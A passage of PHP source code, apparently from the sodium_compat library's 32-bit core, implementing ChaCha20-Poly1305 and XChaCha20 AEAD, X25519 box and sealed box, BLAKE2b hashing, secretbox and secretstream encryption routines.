AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core32_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core32_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { return self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core32_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt); } else { $s = null; } if (!empty($salt)) { $p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal); } else { $p = null; } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx); } /** * Update a hashing context for BLAKE2b with $message * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param string $message * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_update($ctx, $message) { // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor(); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message); ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count()); return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context); } /** * Libsodium's crypto_kx(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $my_sk * @param string $their_pk * @param string $client_pk * @param string $server_pk * @return string * @throws SodiumException * @throws TypeError */ public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk) { return self::generichash( self::scalarmult($my_sk, $their_pk) . $client_pk . $server_pk ); } /** * ECDH over Curve25519 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult($sKey, $pKey) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey); self::scalarmult_throw_if_zero($q); return $q; } /** * ECDH over Curve25519, using the basepoint. * Used to get a secret key from a public key. * * @param string $secret * @return string * * @throws SodiumException * @throws TypeError */ public static function scalarmult_base($secret) { $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret); self::scalarmult_throw_if_zero($q); return $q; } /** * This throws an Error if a zero public key was passed to the function. * * @param string $q * @return void * @throws SodiumException * @throws TypeError */ protected static function scalarmult_throw_if_zero($q) { $d = 0; for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) { $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]); } /* branch-free variant of === 0 */ if (-(1 & (($d - 1) >> 8))) { throw new SodiumException('Zero public key is not allowed'); } } /** * XSalsa20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xsalsa20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, $subkey ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xsalsa20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xsalsa20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), 1, (string) $subkey ); } return $m; } /** * XChaCha20-Poly1305 authenticated symmetric-key encryption. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key) { /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16), $key ); $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext); $mlen0 = $mlen; if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) { $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $block0, $nonceLast, $subkey ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $block0, self::secretbox_xchacha20poly1305_ZEROBYTES ); if ($mlen > $mlen0) { $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $plaintext, self::secretbox_xchacha20poly1305_ZEROBYTES ), $nonceLast, $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, self::onetimeauth_poly1305_KEYBYTES ) ); try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $state->update($c); /** @var string $c - MAC || ciphertext */ $c = $state->finish() . $c; unset($state); return $c; } /** * Decrypt a ciphertext generated via secretbox_xchacha20poly1305(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key) { /** @var string $mac */ $mac = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, 0, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var string $c */ $c = ParagonIE_Sodium_Core32_Util::substr( $ciphertext, self::secretbox_xchacha20poly1305_MACBYTES ); /** @var int $clen */ $clen = ParagonIE_Sodium_Core32_Util::strlen($c); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify( $mac, $c, ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32) ); if (!$verified) { try { ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $subkey = null; } throw new SodiumException('Invalid MAC'); } /** @var string $m - Decrypted message */ $m = ParagonIE_Sodium_Core32_Util::xorStrings( ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES), ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES) ); if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) { // We had more than 1 block, so let's continue to decrypt the rest. $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( ParagonIE_Sodium_Core32_Util::substr( $c, self::secretbox_xchacha20poly1305_ZEROBYTES ), ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), (string) $subkey, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } return $m; } /** * @param string $key * @return array Returns a state and a header. * @throws Exception * @throws SodiumException */ public static function secretstream_xchacha20poly1305_init_push($key) { # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES); $out = random_bytes(24); # crypto_core_hchacha20(state->k, out, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4) ); # _crypto_secretstream_xchacha20poly1305_counter_reset(state); $state->counterReset(); # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); return array( $state->toString(), $out ); } /** * @param string $key * @param string $header * @return string Returns a state. * @throws Exception */ public static function secretstream_xchacha20poly1305_init_pull($key, $header) { # crypto_core_hchacha20(state->k, in, k, NULL); $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20( ParagonIE_Sodium_Core32_Util::substr($header, 0, 16), $key ); $state = new ParagonIE_Sodium_Core32_SecretStream_State( $subkey, ParagonIE_Sodium_Core32_Util::substr($header, 16) ); $state->counterReset(); # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); # memset(state->_pad, 0, sizeof state->_pad); # return 0; return $state->toString(); } /** * @param string $state * @param string $msg * @param string $aad * @param int $tag * @return string * @throws SodiumException */ public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0) { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); # crypto_onetimeauth_poly1305_state poly1305_state; # unsigned char block[64U]; # unsigned char slen[8U]; # unsigned char *c; # unsigned char *mac; $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg); $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # if (outlen_p != NULL) { # *outlen_p = 0U; # } # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = tag; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $auth->update($block); # out[0] = block[0]; $out = $block[0]; # c = out + (sizeof tag); # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k); $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $msg, $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(2) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen); $auth->update($cipher); $out .= $cipher; unset($cipher); # crypto_onetimeauth_poly1305_update # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf))); # STORE64_LE(slen, (uint64_t) adlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # STORE64_LE(slen, (sizeof block) + mlen); $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen); # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen); $auth->update($slen); # mac = c + mlen; # crypto_onetimeauth_poly1305_final(&poly1305_state, mac); $mac = $auth->finish(); $out .= $mac; # sodium_memzero(&poly1305_state, sizeof poly1305_state); unset($auth); # XOR_BUF(STATE_INONCE(state), mac, # crypto_secretstream_xchacha20poly1305_INONCEBYTES); $st->xorNonce($mac); # sodium_increment(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES); $st->incrementCounter(); // Overwrite by reference: $state = $st->toString(); /** @var bool $rekey */ $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0; # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 || # sodium_is_zero(STATE_COUNTER(state), # crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) { # crypto_secretstream_xchacha20poly1305_rekey(state); # } if ($rekey || $st->needsRekey()) { // DO REKEY self::secretstream_xchacha20poly1305_rekey($state); } # if (outlen_p != NULL) { # *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen; # } return $out; } /** * @param string $state * @param string $cipher * @param string $aad * @return bool|array{0: string, 1: int} * @throws SodiumException */ public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '') { $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state); $cipherlen = ParagonIE_Sodium_Core32_Util::strlen($cipher); # mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES; $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES; $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad); # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) { # sodium_misuse(); # } if ((($msglen + 63) >> 6) > 0xfffffffe) { throw new SodiumException( 'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes' ); } # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k); # crypto_onetimeauth_poly1305_init(&poly1305_state, block); # sodium_memzero(block, sizeof block); $auth = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey()) ); # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen); $auth->update($aad); # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0, # (0x10 - adlen) & 0xf); $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf))); # memset(block, 0, sizeof block); # block[0] = in[0]; # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block, # state->nonce, 1U, state->k); $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $cipher[0] . str_repeat("\0", 63), $st->getCombinedNonce(), $st->getKey(), ParagonIE_Sodium_Core32_Util::store64_le(1) ); # tag = block[0]; # block[0] = in[0]; # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block); $tag = ParagonIE_Sodium_Core32_Util::chrToInt($block[0]); $block[0] = $cipher[0]; $auth->update($block); # c = 